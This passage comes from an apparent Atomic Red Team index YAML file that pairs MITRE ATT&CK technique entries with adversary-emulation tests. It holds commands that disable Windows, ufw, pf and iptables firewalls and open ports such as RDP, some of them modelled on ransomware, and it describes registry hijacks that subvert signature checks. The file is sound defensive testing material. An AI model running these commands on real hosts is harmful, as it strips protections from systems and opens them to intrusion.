        phase_name: lateral-movement
      x_mitre_contributors:
      - Blake Strom, Microsoft Threat Intelligence
      x_mitre_deprecated: false
      x_mitre_detection: 'Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      - IaaS
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      - 'Web Credential: Web Credential Usage'
      - 'User Account: User Account Authentication'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
      created: '2020-01-30T16:18:36.873Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550
        external_id: T1550
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      - source_name: NIST Authentication
        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
        url: https://csrc.nist.gov/glossary/term/authentication
      - source_name: NIST MFA
        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
          30, 2020.
        url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1562.004:
    technique:
      modified: '2024-03-28T00:01:08.337Z'
      name: 'Impair Defenses: Disable or Modify System Firewall'
      description: |-
        Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

        Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)

        Adversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes and command-line arguments to see if firewalls
        are disabled or modified. Monitor Registry edits to keys that manage firewalls.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Firewall: Firewall Rule Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Firewall: Firewall Disable'
      x_mitre_defense_bypassed:
      - Firewall
      type: attack-pattern
      id: attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b
      created: '2020-02-21T21:00:48.814Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/004
        external_id: T1562.004
      - source_name: Huntress BlackCat
        description: Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate
          TTPs. Retrieved March 27, 2024.
        url: https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps
      - source_name: change_rdp_port_conti
        description: 'The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks.
          Retrieved March 1, 2022.'
        url: https://twitter.com/TheDFIRReport/status/1498657772254240768
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562.004
    atomic_tests:
    - name: Disable Microsoft Defender Firewall
      auto_generated_guid: 88d05800-a5e4-407e-9b53-ece4174f197f
      description: |
        Disables the Microsoft Defender Firewall for the current profile.
        Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
      supported_platforms:
      - windows
      executor:
        command: 'netsh advfirewall set currentprofile state off

          '
        cleanup_command: 'netsh advfirewall set currentprofile state on >nul 2>&1

          '
        name: command_prompt
    - name: Disable Microsoft Defender Firewall via Registry
      auto_generated_guid: afedc8c4-038c-4d82-b3e5-623a95f8a612
      description: |
        Disables the Microsoft Defender Firewall for the public profile via registry
        Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"
          /v "EnableFirewall" /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"
          /v "EnableFirewall" /t REG_DWORD /d 1 /f

          '
        name: command_prompt
    - name: Allow SMB and RDP on Microsoft Defender Firewall
      auto_generated_guid: d9841bf8-f161-4c73-81e9-fd773a5ff8c1
      description: |
        Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.
        Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...
      supported_platforms:
      - windows
      executor:
        command: |
          netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
          netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes
        cleanup_command: 'netsh advfirewall reset >nul 2>&1

          '
        name: command_prompt
    - name: Opening ports for proxy - HARDRAIN
      auto_generated_guid: 15e57006-79dd-46df-9bf9-31bc24fb5a80
      description: |
        This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.

        reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
      supported_platforms:
      - windows
      executor:
        command: "netsh advfirewall firewall add rule name=\"atomic testing\" action=allow
          dir=in protocol=TCP localport=450 \n"
        cleanup_command: netsh advfirewall firewall delete rule name="atomic testing"
          protocol=TCP localport=450 >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Open a local port through Windows Firewall to any profile
      auto_generated_guid: 9636dd6e-7599-40d2-8eee-ac16434f35ed
      description: This test will attempt to open a local port defined by input arguments
        to any profile
      supported_platforms:
      - windows
      input_arguments:
        local_port:
          description: This is the local port you wish to test opening
          type: integer
          default: 3389
      executor:
        command: netsh advfirewall firewall add rule name="Open Port to Any" dir=in
          protocol=tcp localport=#{local_port} action=allow profile=any
        cleanup_command: netsh advfirewall firewall delete rule name="Open Port to
          Any" | Out-Null
        name: powershell
        elevation_required: true
    - name: Allow Executable Through Firewall Located in Non-Standard Location
      auto_generated_guid: 6f5822d2-d38d-4f48-9bfc-916607ff6b8c
      description: This test will attempt to allow an executable through the system
        firewall located in the Users directory
      supported_platforms:
      - windows
      input_arguments:
        exe_file_path:
          description: path to exe file
          type: path
          default: PathToAtomicsFolder\T1562.004\bin\AtomicTest.exe
      executor:
        command: |
          Copy-Item "#{exe_file_path}" -Destination "C:\Users\$env:UserName" -Force
          netsh advfirewall firewall add rule name="Atomic Test" dir=in action=allow program="C:\Users\$env:UserName\AtomicTest.exe" enable=yes
        cleanup_command: |
          netsh advfirewall firewall delete rule name="Atomic Test" | Out-Null
          Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Stop/Start UFW firewall
      auto_generated_guid: fe135572-edcd-49a2-afe6-1d39521c5a9a
      description: 'Stop the Uncomplicated Firewall (UFW) if installed.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ufw is installed on the machine.

          '
        prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n*****
          ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep
          -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1;
          fi \n"
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: 'ufw disable

          '
        cleanup_command: |
          ufw enable
          ufw status verbose
    - name: Stop/Start Packet Filter
      auto_generated_guid: 0ca82ed1-0a94-4774-9a9a-a2c83a8022b7
      description: 'Stop the Packet Filter if installed.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if pfctl is installed on the machine.

          '
        prereq_command: "if [ ! -x \"$(command -v pfctl)\" ]; then echo -e \"\\n*****
          PF NOT installed *****\\n\"; exit 1; fi\nif [ \"$(kldstat -n pf)\" = \"\"
          ]; then echo -e \"\\n***** PF inactive *****\\n\"; exit 1; fi \n"
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          service pf stop
          service pf disable
        cleanup_command: |
          service pf enable
          service pf start
          service pf status
    - name: Stop/Start UFW firewall systemctl
      auto_generated_guid: 9fd99609-1854-4f3c-b47b-97d9a5972bd1
      description: "Stop the Uncomplicated Firewall (UFW) if installed, using systemctl.
        \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemctl and ufw is installed on the machine.

          '
        prereq_command: "if [ ! -x \"$(command -v systemctl)\" ]; then echo -e \"\\n*****
          systemctl NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v
          ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1;
          fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n*****
          ufw inactive *****\\n\"; exit 1; fi \n"
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: 'systemctl stop ufw

          '
        cleanup_command: |
          systemctl start ufw
          systemctl status ufw
    - name: Turn off UFW logging
      auto_generated_guid: 8a95b832-2c2a-494d-9cb0-dc9dd97c8bad
      description: "Turn off the Uncomplicated Firewall (UFW) logging. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ufw is installed on the machine and enabled.

          '
        prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n*****
          ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep
          -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1;
          fi \n"
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: 'ufw logging off

          '
        cleanup_command: |
          ufw logging low
          ufw status verbose
    - name: Add and delete UFW firewall rules
      auto_generated_guid: b2563a4e-c4b8-429c-8d47-d5bcb227ba7a
      description: "Add and delete a rule on the Uncomplicated Firewall (UFW) if installed
        and enabled. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ufw is installed on the machine and enabled.

          '
        prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n*****
          ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep
          -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1;
          fi \n"
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          ufw prepend deny from 1.2.3.4
          ufw status numbered
        cleanup_command: |
          { echo y; echo response; } | ufw delete 1
          ufw status numbered
    - name: Add and delete Packet Filter rules
      auto_generated_guid: 8b23cae1-66c1-41c5-b79d-e095b6098b5b
      description: "Add and delete a rule on the Packet Filter (PF) if installed and
        enabled. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if pf is installed on the machine and enabled.

          '
        prereq_command: "if [ ! -x \"$(command -v pfctl)\" ]; then echo -e \"\\n*****
          PF NOT installed *****\\n\"; exit 1; fi\nif [ \"$(kldstat -n pf)\" = \"\"
          ]; then echo -e \"\\n***** PF inactive *****\\n\"; exit 1; fi \n"
        get_prereq_command: |
          echo "anchor pf-rules >> /etc/pf.conf"
          pfctl -f /etc/pf.conf
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "block in proto tcp from 1.2.3.4 to any" | pfctl -a pf-rules -f -
          pfctl -a pf-rules -s rules
        cleanup_command: |
          pfctl -a pf-rules -F rules
          sed -i "" '/anchor pf-rules/d'
          pfctl -f /etc/pf.conf
    - name: Edit UFW firewall user.rules file
      auto_generated_guid: beaf815a-c883-4194-97e9-fdbbb2bbdd7c
      description: 'Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/ufw/user.rules exists.

          '
        prereq_command: 'if [ ! -f "/etc/ufw/user.rules" ]; then echo -e "\n*****
          ufw NOT installed *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules
          grep "# THIS IS A COMMENT" /etc/ufw/user.rules
        cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/ufw/user.rules

          '
    - name: Edit UFW firewall ufw.conf file
      auto_generated_guid: c1d8c4eb-88da-4927-ae97-c7c25893803b
      description: "Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf
        \nwhich controls if the firewall starts on boot and its logging level.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/ufw/ufw.conf exists.

          '
        prereq_command: 'if [ ! -f "/etc/ufw/ufw.conf" ]; then echo -e "\n***** ufw
          NOT installed *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf
          grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf
        cleanup_command: |
          sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf
          cat /etc/ufw/ufw.conf
    - name: Edit UFW firewall sysctl.conf file
      auto_generated_guid: c4ae0701-88d3-4cd8-8bce-4801ed9f97e4
      description: "Edit the Uncomplicated Firewall (UFW) configuration file for setting
        network \nvariables /etc/ufw/sysctl.conf.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/ufw/sysctl.conf exists.

          '
        prereq_command: 'if [ ! -f "/etc/ufw/sysctl.conf" ]; then echo -e "\n*****
          ufw NOT installed *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf
          grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf
        cleanup_command: |
          sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf
          cat /etc/ufw/sysctl.conf
    - name: Edit UFW firewall main configuration file
      auto_generated_guid: 7b697ece-8270-46b5-bbc7-6b9e27081831
      description: "Edit the Uncomplicated Firewall (UFW) main configuration file
        for setting \ndefault policies /etc/default/ufw.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /etc/default/ufw exists.

          '
        prereq_command: 'if [ ! -f "/etc/default/ufw" ]; then echo -e "\n***** ufw
          NOT installed *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          echo "# THIS IS A COMMENT" >> /etc/default/ufw
          grep "# THIS IS A COMMENT" /etc/default/ufw
        cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/default/ufw

          '
    - name: Tail the UFW firewall log file
      auto_generated_guid: 419cca0c-fa52-4572-b0d7-bc7c6f388a27
      description: "Print  the last 10 lines of the Uncomplicated Firewall (UFW) log
        file \n/var/log/ufw.log.\n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if /var/log/ufw.log exists.

          '
        prereq_command: 'if [ ! -f "/var/log/ufw.log" ]; then echo -e "\n***** ufw
          NOT logging *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: 'tail /var/log/ufw.log

          '
        cleanup_command: ''
    - name: Disable iptables
      auto_generated_guid: 7784c64e-ed0b-4b65-bf63-c86db229fd56
      description: "Some Linux systems may not activate ufw, but use iptables for
        firewall rules instead. (ufw works on top of iptables.) \nAttackers cannot
        directly disable iptables, as it is not implemented as a service like ufw.
        But they can flush all iptables \nrules, which in fact \"disable\" iptables.
        \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if iptables is installed on the machine.

          '
        prereq_command: 'if [ ! -x "$(command -v iptables)" ]; then echo -e "\n*****
          iptables NOT installed *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          iptables-save > /tmp/iptables.rules
          iptables -F
        cleanup_command: 'iptables-restore < /tmp/iptables.rules

          '
    - name: Modify/delete iptables firewall rules
      auto_generated_guid: 899a7fb5-d197-4951-8614-f19ac4a73ad4
      description: "Instead of completely \"disabling\" iptables, adversaries may
        choose to delete a certain rule, which, for example, blocks data exfiltration
        via ftp.\nBy doing so, they may cause less noise to avoid detection. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if iptables is installed on the machine.

          '
        prereq_command: |
          if [ ! -x "$(command -v iptables)" ]; then echo -e "\n***** iptables NOT installed *****\n"; exit 1; fi
          if ! echo "$(iptables -L)" | grep -q "DROP .*dpt:ftp"; then echo -e "\n***** this firewall rule is NOT activated *****\n***** activate it by executing \"iptables -A OUTPUT -p tcp --dport 21 -j DROP\" *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          iptables-save > /tmp/iptables.rules
          iptables -D OUTPUT -p tcp --dport 21 -j DROP
        cleanup_command: 'iptables-restore < /tmp/iptables.rules

          '
    - name: LockBit Black - Unusual Windows firewall registry modification -cmd
      auto_generated_guid: a4651931-ebbb-4cde-9363-ddf3d66214cb
      description: 'An adversary tries to modify the windows firewall registry

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: LockBit Black - Unusual Windows firewall registry modification -Powershell
      auto_generated_guid: 80b453d1-eec5-4144-bf08-613a6c3ffe12
      description: 'An adversary tries to modify the windows firewall registry.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force
        cleanup_command: |
          Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"  -Name EnableFirewall -Force -ErrorAction Ignore
          Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -Force -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Blackbit - Disable Windows Firewall using netsh firewall
      auto_generated_guid: 91f348e6-3760-4997-a93b-2ceee7f254ee
      description: "An adversary tries to modify the windows firewall configuration
        using the deprecated netsh firewall command (command still works).     \n"
      supported_platforms:
      - windows
      executor:
        command: 'netsh firewall set opmode mode=disable

          '
        cleanup_command: 'netsh firewall set opmode mode=enable >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: ESXi - Disable Firewall via Esxcli
      auto_generated_guid: bac8a340-be64-4491-a0cc-0985cb227f5a
      description: 'Adversaries may disable the ESXI firewall via ESXCLI

        '
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        plink_file:
          description: Path to Putty
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        username:
          description: username used to log into ESXi
          type: string
          default: root
        password:
          description: password used to log into ESXI
          type: string
          default: n/a
      dependency_executor_name: powershell
      dependencies:
      - description: 'The plink executable must be found in the ExternalPayloads folder.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: "#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m
          PathToAtomicsFolder\\..\\atomics\\T1562.004\\src\\esxi_disable_firewall.txt\n"
        cleanup_command: "#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password}
          -m PathToAtomicsFolder\\..\\atomics\\T1562.004\\src\\esxi_enable_firewall.txt\n"
        name: command_prompt
        elevation_required: false
    - name: Set a firewall rule using New-NetFirewallRule
      auto_generated_guid: 94be7646-25f6-467e-af23-585fb13000c8
      description: This test will attempt to create a new inbound/outbound firewall
        rule using the New-NetFirewallRule commandlet.
      supported_platforms:
      - windows
      input_arguments:
        direction:
          description: Direction can be Inbound or Outbound
          type: string
          default: Inbound
        local_port:
          description: This is the local port you wish to test opening
          type: integer
          default: 21
        protocol:
          description: This is the protocol
          type: string
          default: TCP
        action:
          description: This is the action
          type: string
          default: allow
      executor:
        command: New-NetFirewallRule -DisplayName "New rule" -Direction "#{direction}"
          -LocalPort "#{local_port}" -Protocol "#{protocol}" -Action "#{action}"
        cleanup_command: Remove-NetFirewallRule -DisplayName "New rule"
        name: powershell
        elevation_required: true
  T1553.003:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Matt Graeber, @mattifestation, SpecterOps
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc
      created: '2020-02-05T19:34:04.910Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1553.003
        url: https://attack.mitre.org/techniques/T1553/003
      - source_name: Entrust Enable CAPI2 Aug 2017
        url: http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
        description: Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0
          logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved
          January 31, 2018.
      - source_name: GitHub SIP POC Sept 2017
        url: https://github.com/mattifestation/PoCSubjectInterfacePackage
        description: Graeber, M. (2017, September 14). PoCSubjectInterfacePackage.
          Retrieved January 31, 2018.
      - source_name: SpectorOps Subverting Trust Sept 2017
        url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
          January 31, 2018.
      - source_name: Microsoft Catalog Files and Signatures April 2017
        url: https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
        description: Hudek, T. (2017, April 20). Catalog Files and Digital Signatures.
          Retrieved January 31, 2018.
      - source_name: Microsoft Audit Registry July 2012
        url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
        description: Microsoft. (2012, July 2). Audit Registry. Retrieved January
          31, 2018.
      - source_name: Microsoft Registry Auditing Aug 2016
        url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
        description: Microsoft. (2016, August 31). Registry (Global Object Access
          Auditing). Retrieved January 31, 2018.
      - source_name: Microsoft Authenticode
        url: https://msdn.microsoft.com/library/ms537359.aspx
        description: Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.
      - source_name: Microsoft WinVerifyTrust
        url: https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
        description: Microsoft. (n.d.). WinVerifyTrust function. Retrieved January
          31, 2018.
      - source_name: EduardosBlog SIPs July 2008
        url: https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
        description: Navarro, E. (2008, July 11). SIP’s (Subject Interface Package)
          and Authenticode. Retrieved January 31, 2018.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

        Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

        Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

        * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
        * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
        * Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
        * **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Subvert Trust Controls: SIP and Trust Provider Hijacking'
      x_mitre_detection: |-
        Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)

